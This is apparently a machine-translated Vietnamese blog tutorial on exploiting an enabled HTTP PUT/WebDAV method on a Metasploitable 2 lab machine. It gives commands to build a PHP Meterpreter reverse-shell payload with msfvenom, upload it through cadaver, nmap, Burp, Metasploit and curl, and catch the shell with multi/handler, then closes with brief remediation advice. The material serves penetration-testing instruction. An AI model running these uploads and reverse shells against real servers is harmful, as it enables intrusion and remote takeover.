Rate this post

Giới thiệu về phương pháp HTTP PUT

Phương thức PUT ban đầu được dự định là một trong những phương thức HTTP được sử dụng cho các hoạt động quản lý tệp. Nếu phương thức HTTP PUT được bật trên máy chủ web, nó có thể được sử dụng để tải tài nguyên độc hại lên máy chủ đích, chẳng hạn như web shell và thực thi nó

Vì phương pháp này được sử dụng để thay đổi hoặc xóa tệp khỏi hệ thống tệp của máy chủ mục tiêu nên phương pháp này thường dẫn đến phát sinh nhiều lỗ hổng khi tải tệp lên, dẫn đến các cuộc tấn công nghiêm trọng và nguy hiểm. Như một phương pháp hay nhất, quyền truy cập tệp của các máy chủ quan trọng của tổ chức phải được giới hạn nghiêm ngặt với quyền truy cập hạn chế đối với người dùng được ủy quyền, nếu trong trường hợp tổ chức hoàn toàn PHẢI bật các phương pháp này.

Kẻ tấn công có thể lấy được local hoặc root shell trên hệ thống bằng cách sử dụng phương thức put có thể truy cập công khai còn được gọi là một trong các phương pháp Webdav.

WebDAV là một thuật ngữ chỉ tập hợp các phương thức HTTP. Các yêu cầu HTTP có thể sử dụng một loạt các phương thức khác với các phương thức GET và POST tiêu chuẩn.

WebDAV có thể được sử dụng để thao tác các tệp trên máy chủ web. Với bản chất của chức năng. HTTP xác định một tập hợp các phương thức yêu cầu để chỉ ra hành động mong muốn được thực hiện cho một tài nguyên nhất định.

Dưới đây là một số phương pháp để tìm kiếm:

  • GET yêu cầu dữ liệu từ một tài nguyên cụ thể.
  • POST gửi dữ liệu đến máy chủ để tạo / cập nhật tài nguyên.
  • PUT tải tệp đính kèm lên vị trí đã chỉ định.
  • DELETE xóa tài nguyên được chỉ định.

Làm cách nào để xác định phương thức HTTP nào được kích hoạt?

Có nhiều cách để xác định Phương thức HTTP nào được phép trên máy chủ. Nhưng hãy gắn bó với Burp Suite.

Chúng tôi có thể sử dụng phương thức OPTIONS để liệt kê các phương thức HTTP được phép trong một thư mục cụ thể.

Phản hồi này chỉ ra rằng một số phương pháp được liệt kê ở trên được máy chủ hỗ trợ. Tiêu đề HTTP cho phép máy khách và máy chủ chuyển thông tin bổ sung với một yêu cầu hoặc phản hồi HTTP.

Có rất nhiều tiêu đề HTTP có sẵn, nhưng chúng tôi sẽ chỉ tập trung vào 2 tiêu đề này.

  • Cho phép liệt kê tập hợp các phương pháp được hỗ trợ bởi một tài nguyên.
  • Access-Control-Allow-Method cho biết phương thức HTTP nào được phép trên một điểm cuối cụ thể cho các cross-origin requests.

Trong câu trả lời trước, chúng tôi nhận được Access-Control-Allow-Method với phương thức PUT mà hiện tại chúng tôi không thể sử dụng nó.

Vì vậy, hãy thay đổi phương thức từ OPTIONS thành PUT và kiểm tra các phương thức được phép.

Chúng tôi có thể sử dụng một số thư mục khác với phương thức OPTIONS để liệt kê các phương thức HTTP được phép trong một thư mục cụ thể.

Phương pháp PUT đặc biệt nguy hiểm. Nếu kẻ tấn công tải lên các tệp tùy ý trong gốc web, mục tiêu đầu tiên là tạo một tập lệnh cửa hậu trên máy chủ sẽ được thực thi bởi mô-đun phía máy chủ, do đó cho phép kẻ tấn công toàn quyền kiểm soát ứng dụng và thường là chính máy chủ web. .

 PUT /new.html HTTP/1.1
              Host: example.com
              Content-type: text/html
              Content-length: 16
              <p>New File<p>

Nếu phương thức PUT xuất hiện và được kích hoạt, chúng tôi thậm chí có thể tải lên backdoor và ứng dụng sẽ phản hồi với 201 phản hồi đã tạo như được hiển thị trong Phần dưới đây.

bạn có thể nhận được mã trạng thái 405 nếu bạn cố gắng sử dụng phương pháp PUT không được hỗ trợ.

Lưu ý rằng các quyền có thể được thực hiện trên mỗi thư mục, do đó, kiểm tra đệ quy là bắt buộc trong một cuộc tấn công. Các công cụ như DAVTest có thể được sử dụng để kiểm tra lặp đi lặp lại tất cả các thư mục trên máy chủ để tìm phương thức PUT.

Cũng xin lưu ý rằng Đối với các trường hợp WebDAV trong đó người dùng cuối được phép tải lên tệp, việc tải lên các tiện ích mở rộng ngôn ngữ kịch bản phía máy chủ là tương đối phổ biến bị cấm. Khả năng tải lên các tệp HTML hoặc JAR có nhiều khả năng hơn và cả hai điều này đều cho phép tiến hành các cuộc tấn công chống lại người dùng khác.

Xem thêm 9 plugin pop up WordPress tốt nhất năm 2021

Khai thác HTTP PUT

Mục tiêu: Metasploitable 2

Kẻ tấn công: Máy Kali Linux

Hãy bắt đầu nào!!!!

Khởi động máy Kali Linux của bạn (IP: 192.168.1.105) và song song, nhập IP nạn nhân là 192.168.1.103 trong trình duyệt Firefox và nhấp vào WebDAV.

Trước hết, chúng tôi cần đảm bảo rằng máy mục tiêu dễ bị tấn công có phương thức HTTP PUT cho phép chúng tôi tải lên các cửa hậu độc hại. Để xác nhận điều tương tự, chúng ta cần quét mục tiêu bằng Nikto.

Nikto là một trình quét máy chủ Web phổ biến để kiểm tra các máy chủ Web để tìm các tệp / CGI nguy hiểm, phần mềm máy chủ đã lỗi thời và các vấn đề khác. Nó cũng thực hiện các kiểm tra chung và loại máy chủ cụ thể. Dưới đây là lệnh để quét URL:

nikto -h http://192.168.1.103/dav/

Khi chạy lệnh trên, chúng ta có thể quan sát thấy phần được đánh dấu trong ảnh chụp màn hình bên dưới hiển thị rằng phương thức HTTP PUT được phép. Bây giờ, hãy hack máy mục tiêu dễ bị tấn công bằng cách tải lên tệp độc hại PHP, sử dụng các kỹ thuật khác nhau được trình bày trong các phần sắp tới.

Chuẩn bị tệp độc hại để tải lên bằng msfvenom:

Msfvenom có ​​thể được sử dụng để tạo tải trọng PHP métpreter cung cấp cho chúng ta một trình bao đảo ngược. Thực hiện lệnh sau để thực hiện tương tự

msfvenom -p php / metepreter / reverse_tcp lhost = 192.168.1.105 lport = 4444 -f raw

Sao chép mã từ <? Php to die () và lưu nó trong một tệp có phần mở rộng .php dưới dạng tệp shell.php, trên máy tính để bàn. Điều này sẽ được sử dụng sau trong các phần sắp tới, để tải tệp lên máy chủ web.

Song song đó, tải framework Metasploit bằng cách nhập msfconsole trên một thiết bị đầu cuối mới và bắt đầu trình xử lý đa /. Điều này sẽ được sử dụng trong phần sau.

Xem thêm Cách thu thập số điện thoại trên website sử dụng popup

Cadaver

Cadaver là một công cụ dòng lệnh được cài đặt sẵn trong máy Kali cho phép tải lên và tải xuống tệp trên WebDAV.

Nhập URL máy chủ đích để tải lên tệp độc hại, sử dụng lệnh dưới đây.

cadaver http://192.168.1.103/dav/

Bây giờ khi chúng ta đã ở bên trong thư mục của nạn nhân, hãy tải tệp shell.php từ Máy tính để bàn lên đường dẫn của máy mục tiêu, bằng cách thực hiện lệnh dưới đây:

put /root/Desktop/shell.php

Để xác minh xem tệp có được tải lên hay không, hãy chạy URL: 192.168.1.103/dav/ trên trình duyệt. Đáng kinh ngạc!!! Như chúng ta có thể thấy, tệp tin độc hại shell.php đã được tải lên trên máy chủ web.

Bây giờ, hãy khởi chạy khuôn khổ Metasploit và bắt đầu một trình xử lý bằng cách sử dụng mô-đun khai thác / đa / trình xử lý. Gán các giá trị khác như giá trị LHOST và LPORT cho IP và cổng của máy Kali để nghe tương ứng. Sau khi hoàn tất, hãy thực thi bằng cách chạy khai thác lệnh để bắt đầu lắng nghe các kết nối đến.

msf> use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.105
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

Nhấn Enter và chúng ta sẽ thấy rằng trình xử lý TCP ngược đã được khởi động trên Kali IP 192.168.1.105:4444.

Bây giờ quay trở lại tệp shell.php đã tải lên trước đó và nhấp vào tương tự. Sau khi chạy, chúng tôi sẽ nhận được kết nối ngược TCP tự động trên vỏ métpreter. Hơn nữa, hãy chạy lệnh sysinfo trên phiên dịch vụ đo lường để nhận thông tin chi tiết về hệ điều hành / kiến ​​trúc của máy.

meterpreter>sysinfo

Nmap

Nmap là một trình quét cổng nguồn mở và công cụ khai thác mạng. Nếu Phương pháp PUT được bật trên bất kỳ máy chủ web nào, thì chúng tôi cũng có thể tải tệp độc hại lên máy chủ web từ xa với sự trợ giúp của NMAP. Dưới đây là lệnh để cấu hình tương tự. Chúng tôi phải chỉ định tên tệp và đường dẫn URL với các đối số NSE. song song đó, chuẩn bị tệp độc hại nmap.php để tải lên máy chủ mục tiêu.

nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php'

Như đã thấy từ ảnh chụp màn hình bên dưới, tệp nmap.php đã được tải lên thành công.

Nhập cùng một URL vào trình duyệt 192.168.1.103/dav và thực thi giống nhau. Rõ ràng từ ảnh chụp màn hình, tệp nmap.php đã được tải lên trên máy chủ web.

Đồng thời, mở bảng điều khiển Metasploit MSF và sử dụng multi / handler; sau đó quay lại tệp nmap.php đã tải lên trước đó và chạy nó. Như có thể thấy bên dưới, điều này sẽ cung cấp cho chúng ta một phiên đồng hồ đo.

Poster

Người đăng là một Tiện ích bổ sung của Firefox và một công cụ dành cho nhà phát triển để tương tác với các dịch vụ web để cho phép người dùng cuối kích hoạt các yêu cầu HTTP với các tham số như GET, POST, PUT và DELETE, đồng thời cho phép đặt nội dung thực thể và loại nội dung

Chuẩn bị tệp poster.php độc hại mà bạn muốn tải lên máy mục tiêu. Cài đặt plugin Poster từ Tiện ích bổ sung Firefox. Nhấp vào các công cụ từ thanh menu. Và sau đó nhấp vào Áp phích từ menu thả xuống. Hộp thoại sau sẽ mở ra. Nhập URL như được đề cập trong ảnh chụp màn hình và cung cấp đường dẫn của tệp độc hại sẽ được tải lên thông qua tùy chọn Browse và cuối cùng nhấp vào hành động PUT.

Nhập cùng một URL vào trình duyệt 192.168.1.103/dav và thực thi giống nhau. Rõ ràng từ ảnh chụp màn hình, tệp poster.php đã được tải lên trên máy chủ web.

Đồng thời, mở bảng điều khiển Metasploit MSF và sử dụng multi / handler; sau đó quay lại tệp poster.php đã tải lên trước đó và chạy nó. Điều này sẽ cung cấp cho chúng tôi một phiên dịch giả.

Burpsuite

Burpsuite là một trong những công cụ chặn proxy phổ biến nhất có giao diện đồ họa có thể được sử dụng hiệu quả để phân tích tất cả các loại yêu cầu GET và POST.

Định cấu hình cài đặt proxy thủ công của trình duyệt của người dùng cuối để chặn yêu cầu GET Duyệt qua URL http://192.168.1.103 nhưng chưa nhấn ENTER. Song song, chúng ta hãy điều hướng đến tab Burpsuite Proxy và nhấp vào Chặn là trên tùy chọn trong tùy chọn phụ Chặn, để nắm bắt yêu cầu. Ngay sau khi chúng tôi nhấn ENTER trong trình duyệt của người dùng, chúng tôi sẽ có thể tìm nạp dữ liệu trong cửa sổ chặn.

Bây giờ nhấp chuột phải vào cùng một cửa sổ và danh sách nhiều tùy chọn sẽ được hiển thị. Nhấp thêm vào Gửi tới bộ lặp.

Trong ảnh chụp màn hình được đánh dấu bên trên, chúng ta sẽ quan sát hai bảng – bên trái và bên phải lần lượt cho Yêu cầu HTTP và Phản hồi HTTP. Phương thức GET có thể được quan sát thấy trong yêu cầu HTTP và bây giờ chúng tôi sẽ thay thế GET bằng phương thức PUT để tải lên tệp có tên burp.php chứa nội dung / mã độc hại.

Gõ PUT /dav/burp.php HTTP / 1.1 vào tiêu đề và sau đó dán mã độc php bắt đầu từ thư mục dav thông qua yêu cầu PUT.

Xác minh và xác nhận việc tải tệp lên bằng cách duyệt cùng một URL 192.168.1.103/dav trong trình duyệt của người dùng cuối và chúng tôi có thể thấy tệp burp.php đã được tải lên trong thư mục / dav của máy chủ web.

Đồng thời, mở bảng điều khiển Metasploit MSF và sử dụng multi / handler; sau đó quay lại tệp burp.php đã tải lên trước đó và chạy nó. Điều này sẽ cung cấp cho chúng tôi một phiên dịch giả.

Metasploit

Metasploit Framework là một nền tảng nổi tiếng để phát triển, thử nghiệm và thực thi khai thác. Nó là một công cụ mã nguồn mở để thực hiện các hoạt động khai thác khác nhau đối với các máy mục tiêu. Mô-đun này có thể lạm dụng các máy chủ web được định cấu hình sai để tải lên và xóa nội dung web thông qua các yêu cầu PUT và DELETE HTTP. Đặt ACTION thành PUT hoặc DELETE. PUT là mặc định.

Metasploit có các mô-đun phụ trợ tích hợp dành riêng cho việc quét các phương thức HTTP và cung cấp cho chúng tôi khả năng PUT một tệp với phụ trợ / máy quét / http / http_put. Dưới đây là các lệnh để thực hiện tương tự

msf> use auxiliary/scanner/http/http_put
msf>auxiliary (http_put) > set rhosts 192.168.1.103
msf>auxiliary (http_put) > set payload php/meterpreter/reverse_tcp
msf>auxiliary (http_put) > set path /dav/
msf>auxiliary (http_put) > set filename meter.php
msf>auxiliary (http_put) > set filedata file://root/Desktop/meter.php
msf>auxiliary (http_put) > exploit

Nhập cùng một URL vào trình duyệt 192.168.1.103/dav và thực thi giống nhau. Rõ ràng từ ảnh chụp màn hình, tệp meter.php đã được tải lên trên máy chủ web.


Đồng thời, mở bảng điều khiển Metasploit MSF và sử dụng multi / handler; sau đó quay lại tệp met.php đã tải lên trước đó và chạy nó. Điều này sẽ cung cấp cho chúng tôi một phiên dịch giả.

cURL

cURL là một công cụ dòng lệnh nổi tiếng để gửi hoặc nhận dữ liệu bằng cú pháp URL và tương thích với nhiều giao thức nổi tiếng khác nhau (HTTPS, FTP, SCP, LDAP, Telnet, v.v.)

Để khai thác phương thức PUT với cURL, lệnh là:

curl http://192.168.1.103/dav/ --upload-file /root/Desktop/curl.php -v

Nhập cùng một URL vào trình duyệt 192.168.1.103/dav và thực thi giống nhau. Rõ ràng từ ảnh chụp màn hình, tệp curl.php đã được tải lên trên máy chủ web.

Đồng thời, mở bảng điều khiển Metasploit MSF và sử dụng multi / handler; sau đó quay lại tệp curl.php đã tải lên trước đó và chạy nó. Điều này sẽ cung cấp cho chúng tôi một phiên dịch giả.

Tác giả: Ankur Sachdev là nhà tư vấn và nghiên cứu về An ninh thông tin trong lĩnh vực Kiểm tra thâm nhập ứng dụng mạng và ứng dụng web. Liên hệ tại đây

Biện pháp khắc phục hậu quả

Chỉ cho phép các phương thức GET và POST HTTP và các phương thức không sử dụng khác sẽ bị chặn. Nếu được yêu cầu, các phương pháp bổ sung này chỉ nên được kích hoạt khi có thông tin đăng nhập và quyền truy cập công khai bị từ chối.

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now